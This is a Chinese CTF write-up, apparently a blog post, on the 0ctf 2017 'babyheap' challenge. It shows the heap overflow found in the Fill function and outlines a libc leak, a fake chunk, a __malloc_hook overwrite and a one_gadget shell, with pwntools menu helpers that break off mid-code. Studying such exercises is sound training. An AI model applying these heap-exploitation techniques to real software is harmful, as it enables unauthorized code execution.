babyheap_0ctf_2017

本文详细介绍了如何在一场名为babyheap_0ctf_2017的CTF比赛中,通过分析程序保护机制、堆管理函数,发现并利用一个堆溢出漏洞来泄露libc基地址。利用unsortedbin特性构造fake_chunk,最终通过修改malloc_hook并找到one_gadget实现远程getshell。

babyheap_0ctf_2017

使用checksec查看:
在这里插入图片描述
保护全开,看到PIE的时候就想到需要泄露libc_base_addr

拉进IDA中看吧:
在这里插入图片描述
一个死循环,主要功能AllocateFillFreeDump,这边我已经修改函数名了,接下来一个一个看

首先是创建堆:
在这里插入图片描述
最多创建15个chunk、每个chunk的最大size是4096

*(0x18LL * i + a1) = 1;创建chunk时给了标志1

接着是编辑堆内容:
在这里插入图片描述
判断了标志存不存在,若chunk存在,让用户输入size存放到v3变量中。

漏洞点就出在这,v3的大小并没有进行判断,导致可以堆溢出,进行下个堆的修改。

接着的Free()函数和Dump()函数都是中规中矩的。这里就不贴图了。

首先根据每个函数写出对应得操作函数:

def allocate(size):
    r.recvuntil('Command: ')
    r.sendline('1')
    r.sendline(str(size))

def fill(idx,payload):
    r.recvuntil('Command: ')
    r.sendline('2') 
    r.sendline(str(idx))
    r.sendline(str(len(payload)))
    r.send(payload) 
    
def free(idx):
    r.recvuntil('Command: ')
    r.sendline('3')
    r.sendline
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值